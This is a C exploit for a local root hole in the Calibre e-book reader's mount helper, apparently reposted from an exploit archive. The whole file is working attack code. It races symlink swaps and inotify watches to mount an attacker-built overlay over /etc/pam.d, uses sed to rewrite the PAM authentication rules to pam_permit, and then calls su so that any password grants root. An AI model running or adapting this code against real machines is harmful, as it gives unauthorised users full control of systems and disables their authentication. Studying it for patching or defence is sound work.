Calibre E-Book Reader Local Root

/*
 * ########################################################
 * #               .80 Calibrer Assault Mount             #
 * #                         by zx2c4                     #
 * ########################################################
 *
 * Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
 * expand the attack by adding a race toggler so we can mount from non-block
 * devices.
 *
 * Enjoy.
 *
 * - zx2c4
 * 2011-11-4
 *
 * greets to djrbliss
 *
 */
 
 
#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
 
int main(int argc, char **argv)
{
    printf("########################################################\n");
    printf("#               .80 Calibrer Assault Mount             #\n");
    printf("#                         by zx2c4                     #\n");
    printf("########################################################\n\n");
     
     
    printf("[+] Cleaning up old cruft.\n");
    unlink("/dev/shm/overlay");
    system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");
     
    printf("[+] Creating overlay container.\n");
    system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
    system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");
     
    printf("[+] Mounting staging using race condition toggler...\n");
    int childpid = fork();
    if (childpid) {
        int ret;
        while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
        kill(childpid, SIGKILL);
    } else {
        while (1) {
            rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
            symlink("/dev/ram0", "/dev/shm/overlay");
            unlink("/dev/shm/overlay");
            rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
        }
        return 0;
    }
     
    printf("[+] Preparing overlay with /etc/pam.d modification:\n");
    system("cp -v /etc/pam.d/* /media/staging/");
    system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
    system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
    system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");
     
         
    printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
    childpid = fork();
    if (childpid) {
        int childpid2 = fork();
        if (childpid2) {
            int ret;
            while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
            kill(childpid, SIGKILL);
            kill(childpid2, SIGKILL);
        } else {
            while (1) {
                int fd;
                fd = inotify_init();
                unlink("/media/staging/fake");
                mkdir("/media/staging/fake");
                inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
                read(fd, 0, 0);
                rename("/media/staging/fake", "/media/staging/tmp");
                symlink("/etc/pam.d", "/media/staging/fake");
                rmdir("/media/staging/tmp");
                close(fd);
            }
        }
    } else {
        while (1) {
            rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
            symlink("/dev/ram0", "/dev/shm/overlay");
            unlink("/dev/shm/overlay");
            rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
        }
        return 0;
    }
     
    printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
    system("su");
     
    return 0;
}



#  0day.today [2018-04-12]  #